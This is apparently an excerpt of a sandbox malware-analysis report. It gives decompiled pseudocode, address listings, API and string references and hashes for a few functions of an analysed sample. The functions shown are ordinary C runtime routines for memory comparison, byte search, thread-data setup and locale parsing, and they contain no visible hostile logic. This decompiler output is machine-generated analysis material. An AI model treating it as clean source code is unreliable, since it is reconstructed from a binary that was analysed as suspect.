										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x00410257
0x00410257
0x0041025d
0x004102d0
0x004102d2
0x004102d4
0x00000000
0x00000000
0x004102da
0x004102e0
0x0041035f
0x00410361
0x00410363
0x00000000
0x00000000
0x00410369
0x0041036f
0x004103ee
0x004103f0
0x004103f2
0x00000000
0x00000000
0x004103f8
0x004103fe
0x0041047d
0x0041047f
0x00410481
0x00000000
0x00000000
0x0041048d
0x0041050d
0x0041050f
0x00410511
0x00000000
0x00000000
0x00410517
0x0041051d
0x0041059c
0x0041059e
0x004105a0
0x00000000
0x00000000
0x004105a6
0x004105ac
0x0041061d
0x0041061f
0x00410621
0x00410623
0x00410623
0x00410625
0x00411381
0x00411381
0x004105b5
0x004105b7
0x004105c8
0x004105d0
0x004105d2
0x004105e3
0x004105eb
0x004105ed
0x00410602
0x0041060a
0x0041060c
0x00410619
0x00410619
0x00000000
0x0041060c
0x004105f6
0x004105fc
0x00000000
0x00000000
0x004105fe
0x004105fe
0x00000000
0x004105fe
0x004105db
0x004105e1
0x00000000
0x00000000
0x00000000
0x004105e1
0x004105c0
0x004105c6
0x00000000
0x00000000
0x00000000
0x004105c6
0x00410526
0x00410528
0x0041053f
0x00410547
0x00410549
0x00410560
0x00410568
0x0041056a
0x00410581
0x00410589
0x0041058b
0x00410598
0x00410598
0x00000000
0x0041058b
0x00410577
0x0041057b
0x00000000
0x00000000
0x00000000
0x0041057b
0x00410556
0x0041055a
0x00000000
0x00000000
0x00000000
0x0041055a
0x00410535
0x00410539
0x00000000
0x00000000
0x00000000
0x00410539
0x00410497
0x00410499
0x004104b0
0x004104b8
0x004104ba
0x004104d1
0x004104d9
0x004104db
0x004104f2
0x004104fa
0x004104fc
0x00410509
0x00410509
0x00000000
0x004104fc
0x004104e8
0x004104ec
0x00000000
0x00000000
0x00000000
0x004104ec
0x004104c7
0x004104cb
0x00000000
0x00000000
0x00000000
0x004104cb
0x004104a6
0x004104aa
0x00000000
0x00000000
0x00000000
0x004104aa
0x00410407
0x00410409
0x00410420
0x00410428
0x0041042a
0x00410441
0x00410449
0x0041044b
0x00410462
0x0041046a
0x0041046c
0x00410479
0x00410479
0x00000000
0x0041046c
0x00410458
0x0041045c
0x00000000
0x00000000
0x00000000
0x0041045c
0x00410437
0x0041043b
0x00000000
0x00000000
0x00000000
0x0041043b
0x00410416
0x0041041a
0x00000000
0x00000000
0x00000000
0x0041041a
0x00410378
0x0041037a
0x00410391
0x00410399
0x0041039b
0x004103b2
0x004103ba
0x004103bc
0x004103d3
0x004103db
0x004103dd
0x004103ea
0x004103ea
0x00000000
0x004103dd
0x004103c9
0x004103cd
0x00000000
0x00000000
0x00000000
0x004103cd
0x004103a8
0x004103ac
0x00000000
0x00000000
0x00000000
0x004103ac
0x00410387
0x0041038b
0x00000000
0x00000000
0x00000000
0x0041038b
0x004102e9
0x004102eb
0x00410302
0x0041030a
0x0041030c
0x00410323
0x0041032b
0x0041032d
0x00410344
0x0041034c
0x0041034e
0x0041035b
0x0041035b
0x00000000
0x0041034e
0x0041033a
0x0041033e
0x00000000
0x00000000
0x00000000
0x0041033e
0x00410319
0x0041031d
0x00000000
0x00000000
0x00000000
0x0041031d
0x004102f8
0x004102fc
0x00000000
0x00000000
0x00000000
0x0041025f
0x0041025f
0x00410262
0x00410266
0x00410268
0x0041027b
0x0041027b
0x0041027f
0x00410283
0x00410285
0x00410298
0x00410298
0x0041029c
0x004102a0
0x004102a2
0x004102b5
0x004102b5
0x004102b9
0x004102bd
0x004102bf
0x004102c5
0x004102c8
0x004102cc
0x004102cc
0x00000000
0x004102bf
0x004102a8
0x004102ab
0x004102af
0x004102b3
0x00000000
0x00000000
0x00000000
0x004102b3
0x0041028b
0x0041028e
0x00410292
0x00410296
0x00000000
0x00000000
0x00000000
0x00410296
0x0041026e
0x00410271
0x00410275
0x00410279
0x00000000
0x00000000
0x00000000
0x00410279
0x00410250
0x00410250
0x00000000

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: b99036f3d0ec2c3d9d186bacdc53c0e89f1a173b91a9dbc29719a4cde87c418d
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: C4C17273D0A5B3068735812D44986BBEE626FD174131EC3E29CE42F389D1BE9DC096D8

Uniqueness

Uniqueness Score: -1.00%

Function 004114F0 Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004114F0(signed int _a4, signed char _a8, intOrPtr _a12) {
				intOrPtr _t13;
				void* _t14;
				signed char _t20;
				signed char _t24;
				signed int _t27;
				signed char _t32;
				unsigned int _t33;
				signed char _t35;
				signed char _t37;
				signed int _t39;

				_t13 = _a12;
				if(_t13 == 0) {
					L11:
					return _t13;
				} else {
					_t39 = _a4;
					_t20 = _a8;
					if((_t39 & 0x00000003) == 0) {
						L5:
						_t14 = _t13 - 4;
						if(_t14 < 0) {
							L8:
							_t13 = _t14 + 4;
							if(_t13 == 0) {
								goto L11;
							} else {
								while(1) {
									_t24 =  *_t39;
									_t39 = _t39 + 1;
									if((_t24 ^ _t20) == 0) {
										goto L20;
									}
									_t13 = _t13 - 1;
									if(_t13 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L24;
								}
								goto L20;
							}
						} else {
							_t20 = ((_t20 << 8) + _t20 << 0x10) + (_t20 << 8) + _t20;
							do {
								_t27 =  *_t39 ^ _t20;
								_t39 = _t39 + 4;
								if(((_t27 ^ 0xffffffff ^ 0x7efefeff + _t27) & 0x81010100) == 0) {
									goto L12;
								} else {
									_t32 =  *(_t39 - 4) ^ _t20;
									if(_t32 == 0) {
										_t12 = _t39 - 4; // -12
										return _t12;
									} else {
										_t33 = _t32 ^ _t20;
										if(_t33 == 0) {
											_t11 = _t39 - 3; // -11
											return _t11;
										} else {
											_t35 = _t33 >> 0x00000010 ^ _t20;
											if(_t35 == 0) {
												_t10 = _t39 - 2; // -10
												return _t10;
											} else {
												if((_t35 ^ _t20) == 0) {
													goto L20;
												} else {
													goto L12;
												}
											}
										}
									}
								}
								goto L24;
								L12:
								_t14 = _t14 - 4;
							} while (_t14 >= 0);
							goto L8;
						}
					} else {
						while(1) {
							_t37 =  *_t39;
							_t39 = _t39 + 1;
							if((_t37 ^ _t20) == 0) {
								break;
							}
							_t13 = _t13 - 1;
							if(_t13 == 0) {
								goto L11;
							} else {
								if((_t39 & 0x00000003) != 0) {
									continue;
								} else {
									goto L5;
								}
							}
							goto L24;
						}
						L20:
						_t9 = _t39 - 1; // -9
						return _t9;
					}
				}
				L24:
			}

0x004114f0
0x004114f7
0x0041154c
0x0041154c
0x004114f9
0x004114f9
0x004114ff
0x00411509
0x00411521
0x00411521
0x00411524
0x00411538
0x00411538
0x0041153b
0x00000000
0x0041153d
0x0041153d
0x0041153d
0x0041153f
0x00411544
0x00000000
0x00000000
0x00411546
0x00411549
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00411549
0x00000000
0x0041153d
0x00411526
0x00411533
0x00411552
0x00411554
0x00411562
0x0041156b
0x00000000
0x0041156d
0x00411570
0x00411572
0x00411597
0x0041159c
0x00411574
0x00411574
0x00411576
0x00411591
0x00411596
0x00411578
0x0041157b
0x0041157d
0x0041158b
0x00411590
0x0041157f
0x00411581
0x00000000
0x00411583
0x00000000
0x00411583
0x00411581
0x0041157d
0x00411576
0x00411572
0x00000000
0x0041154d
0x0041154d
0x0041154d
0x00000000
0x00411537
0x0041150b
0x0041150b
0x0041150b
0x0041150d
0x00411512
0x00000000
0x00000000
0x00411514
0x00411517
0x00000000
0x00411519
0x0041151f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041151f
0x00000000
0x00411517
0x00411586
0x00411586
0x0041158a
0x0041158a
0x00411509
0x00000000

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 252b7ca5bff43c158711b39bf949569e5fd8550ffe0e14ce90d86bb047e0d2c1
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: AE115B77240091A3D6048B2ED4B46FBA3A7EBD632076C437BD2434BB78D13AD9C59608

Uniqueness

Uniqueness Score: -1.00%

Function 004169B2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E004169B2(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x4288f0);
				E0041879C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E004179E3(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x426270;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x44bf00;
				E00418B9E(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E00416A87();
				E00418B9E(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x44c508; // 0x20c10f8
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E0041387A( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E004187E1(E00416A90());
			}

0x004169b2
0x004169b2
0x004169b4
0x004169b9
0x004169be
0x004169c4
0x004169cc
0x004169cf
0x004169d4
0x004169d5
0x004169d8
0x004169db
0x004169e5
0x004169ea
0x004169f2
0x004169fa
0x00416a0a
0x00416a0a
0x00416a10
0x00416a13
0x00416a1a
0x00416a21
0x00416a2a
0x00416a30
0x00416a37
0x00416a3d
0x00416a44
0x00416a4b
0x00416a51
0x00416a54
0x00416a57
0x00416a5c
0x00416a5e
0x00416a63
0x00416a63
0x00416a69
0x00416a6f
0x00416a80

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,004288F0,0000000C,00416AED,00000000,00000000,?,00000904,004147E9,00411A83,?,00409ABA,00401071,0000000F), ref: 004169C4
__crt_waiting_on_module_handle.LIBCMT ref: 004169CF

Part of subcall function 004179E3: Sleep.KERNEL32(000003E8,00000000,?,00416915,KERNEL32.DLL,?,00416961,?,00000904,004147E9,00411A83,?,00409ABA,00401071,0000000F), ref: 004179EF
Part of subcall function 004179E3: GetModuleHandleW.KERNEL32(?,?,00416915,KERNEL32.DLL,?,00416961,?,00000904,004147E9,00411A83,?,00409ABA,00401071,0000000F), ref: 004179F8

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004169F8
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00416A08
__lock.LIBCMT ref: 00416A2A
InterlockedIncrement.KERNEL32(?), ref: 00416A37
__lock.LIBCMT ref: 00416A4B
___addlocaleref.LIBCMT ref: 00416A69

Strings

EncodePointer, xrefs: 004169EC
KERNEL32.DLL, xrefs: 004169BE, 004169C3, 004169CE
pbB, xrefs: 004169DB
DecodePointer, xrefs: 00416A00

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL$pbB
API String ID: 1028249917-544996733
Opcode ID: 320e1de7bc5c710799defb53cf20525c4079e03da49428e13fb8a3db099ed4e0
Instruction ID: 6ead7ada71853f266a214987adbe620dc2b578bad61da6dc46bd15fdda5d56e2
Opcode Fuzzy Hash: 320e1de7bc5c710799defb53cf20525c4079e03da49428e13fb8a3db099ed4e0
Instruction Fuzzy Hash: C1116671A417019ED7209F76DC01B9ABBE0AF01314F60455FE499A7691CB7CEA818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00414480 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00414480(void* __ebx, char* __ecx) {
				void* _t31;
				signed int _t35;
				char* _t36;
				signed int _t37;
				void* _t38;
				void* _t41;
				void* _t44;
				signed int _t46;
				void* _t47;
				char* _t48;
				char* _t49;
				void* _t58;
				void* _t60;
				void* _t63;
				void* _t64;
				intOrPtr* _t65;
				char* _t66;
				void* _t67;
				char* _t68;
				intOrPtr _t69;
				void* _t70;
				intOrPtr* _t71;
				signed int _t74;
				void* _t76;

				_t50 = __ecx;
				_t46 = __ebx + 1;
				if(_t46 != 0 ||  *((char*)(__ecx + 2)) != 0x5f) {
					_push(_t46);
					_push(_t46);
					_push(_t46);
					_push(0x83);
					_push(_t74 - 0x88);
					_t31 = L00413EE4(_t63, __eflags);
					__eflags = _t31 - _t46;
					if(_t31 == _t46) {
						goto L34;
					}
					_t65 = _t69 + 0x48;
					do {
						__eflags = _t46;
						if(_t46 == 0) {
							goto L30;
						}
						__eflags = E00417040(_t74 - 0x88,  *_t65);
						if(__eflags == 0) {
							L29:
							_t25 = _t74 - 0x8c;
							 *_t25 =  *(_t74 - 0x8c) + 1;
							__eflags =  *_t25;
							goto L30;
						}
						_t35 = E00414115(_t74 - 0x88, _t63, _t69, __eflags, _t46);
						__eflags = _t35;
						if(_t35 != 0) {
							goto L29;
						}
						 *(_t74 - 0x90) =  *(_t74 - 0x90) & _t35;
						L30:
						_t46 = _t46 + 1;
						_t65 = _t65 + 0x10;
						__eflags = _t46 - 5;
					} while (_t46 <= 5);
					_t31 = 0;
					__eflags =  *(_t74 - 0x90);
					if( *(_t74 - 0x90) != 0) {
						goto L33;
					}
					__eflags =  *(_t74 - 0x8c);
					if( *(_t74 - 0x8c) == 0) {
						goto L34;
					}
					goto L33;
				} else {
					_t66 = __ecx;
					while(1) {
						L3:
						_t36 = E0041C5C0(_t66, 0x425354);
						_t48 = _t36;
						_pop(_t58);
						if(_t48 == 0) {
							break;
						}
						_t37 = _t36 - _t66;
						 *(_t74 - 0x90) = _t37;
						if(_t37 == 0 ||  *_t48 == 0x3b) {
							break;
						} else {
							 *((intOrPtr*)(_t74 - 0x94)) = 1;
							_t71 = 0x425284;
							while(1) {
								_t38 = E0041C4FD(_t58,  *_t71, _t66, _t37);
								_t76 = _t76 + 0xc;
								if(_t38 != 0) {
									goto L10;
								}
								L9:
								_t44 = E0040FAC0( *_t71);
								_pop(_t58);
								if( *(_t74 - 0x90) == _t44) {
									L11:
									_t49 = _t48 + 1;
									_t67 = E004114A0(_t58, _t49, 0x42534c);
									_pop(_t60);
									if(_t67 != 0 ||  *_t49 == 0x3b) {
										if( *((intOrPtr*)(_t74 - 0x94)) <= 5) {
											_t41 = E0041BAA0(_t63, _t74 - 0x88, 0x83, _t49, _t67);
											_t76 = _t76 + 0x10;
											_t90 = _t41;
											if(_t41 != 0) {
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												E0041162F(_t60, _t63, _t67, 0, _t90);
												_t76 = _t76 + 0x14;
											}
											 *((char*)(_t74 + _t67 - 0x88)) = 0;
											if(E00414115(_t74 - 0x88, _t63,  *((intOrPtr*)(_t74 - 0x98)), _t90,  *((intOrPtr*)(_t74 - 0x94))) != 0) {
												 *(_t74 - 0x8c) =  *(_t74 - 0x8c) + 1;
											}
										}
										_t68 = _t67 + _t49;
										if( *_t68 == 0) {
											L20:
											_t31 = 0;
											if( *(_t74 - 0x8c) == 0) {
												L34:
												_pop(_t64);
												_pop(_t70);
												_pop(_t47);
												return E00411A9A(_t31, _t47,  *(_t74 - 4) ^ _t74, _t63, _t64, _t70);
											}
											_t69 =  *((intOrPtr*)(_t74 - 0x98));
											L33:
											_t31 = E00413D67(_t63, _t69);
											goto L34;
										} else {
											_t66 = _t68 + 1;
											if( *_t66 != 0) {
												goto L3;
											}
											goto L20;
										}
									} else {
										goto L22;
									}
								}
								L10:
								 *((intOrPtr*)(_t74 - 0x94)) =  *((intOrPtr*)(_t74 - 0x94)) + 1;
								_t71 = _t71 + 0xc;
								if(_t71 <= 0x4252b4) {
									_t37 =  *(_t74 - 0x90);
									_t38 = E0041C4FD(_t58,  *_t71, _t66, _t37);
									_t76 = _t76 + 0xc;
									if(_t38 != 0) {
										goto L10;
									}
									goto L9;
								}
								goto L11;
							}
						}
					}
					L22:
					_t31 = 0;
					goto L34;
				}
			}

0x00414480
0x00414480
0x00414481
0x004145ad
0x004145ae
0x004145af
0x004145b0
0x004145bb
0x004145bd
0x004145c5
0x004145c7
0x00000000
0x00000000
0x004145c9
0x004145cc
0x004145cc
0x004145ce
0x00000000
0x00000000
0x004145e0
0x004145e2
0x004145fd
0x004145fd
0x004145fd
0x004145fd
0x00000000
0x004145fd
0x004145eb
0x004145f1
0x004145f3
0x00000000
0x00000000
0x004145f5
0x00414603
0x00414603
0x00414604
0x00414607
0x00414607
0x0041460c
0x0041460e
0x00414614
0x00000000
0x00000000
0x00414616
0x0041461c
0x00000000
0x00000000
0x00000000
0x00414491
0x00414491
0x00414493
0x00414493
0x00414499
0x0041449e
0x004144a1
0x004144a4
0x00000000
0x00000000
0x004144aa
0x004144ac
0x004144b2
0x00000000
0x004144c1
0x004144c1
0x004144cb
0x004144d8
0x004144dc
0x004144e1
0x004144e6
0x00000000
0x00000000
0x004144e8
0x004144ea
0x004144ef
0x004144f6
0x00414509
0x00414509
0x00414515
0x0041451a
0x0041451d
0x0041452f
0x0041453f
0x00414544
0x00414547
0x00414549
0x0041454b
0x0041454c
0x0041454d
0x0041454e
0x0041454f
0x00414550
0x00414555
0x00414555
0x0041456a
0x0041457a
0x0041457c
0x0041457c
0x0041457a
0x00414582
0x00414587
0x00414593
0x00414593
0x0041459b
0x00414623
0x00414626
0x00414627
0x0041462a
0x00414631
0x00414631
0x004145a1
0x0041461e
0x0041461e
0x00000000
0x00414589
0x00414589
0x0041458d
0x00000000
0x00000000
0x00000000
0x0041458d
0x00000000
0x00000000
0x00000000
0x0041451d
0x004144f8
0x004144f8
0x004144fe
0x00414507
0x004144d2
0x004144dc
0x004144e1
0x004144e6
0x00000000
0x00000000
0x00000000
0x004144e6
0x00000000
0x00414507
0x004144d8
0x004144b2
0x004145a9
0x004145a9
0x00000000
0x004145a9

APIs

_strpbrk.LIBCMT ref: 00414499
_strncmp.LIBCMT ref: 004144DC
_strlen.LIBCMT ref: 004144EA
_strcspn.LIBCMT ref: 00414510
__invoke_watson.LIBCMT ref: 00414550
__setlocale_set_cat.LIBCMT ref: 00414572
__setlocale_set_cat.LIBCMT ref: 004145EB
__setlocale_get_all.LIBCMT ref: 0041461E

Strings

dRB, xrefs: 004144CB, 004144DA, 004144E8
;, xrefs: 0041451F
;, xrefs: 004144B8

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __setlocale_set_cat$__invoke_watson__setlocale_get_all_strcspn_strlen_strncmp_strpbrk
String ID: ;$;$dRB
API String ID: 1540429817-219522206
Opcode ID: 4b5e01385764b02c5f4ef185f081d3f1cc514c897b7f267991efbd1bcc230052
Instruction ID: 189b4286f863c383c983ff8c3e69e4cf960a3b5444d4471336a27467b04ecc10
Opcode Fuzzy Hash: 4b5e01385764b02c5f4ef185f081d3f1cc514c897b7f267991efbd1bcc230052
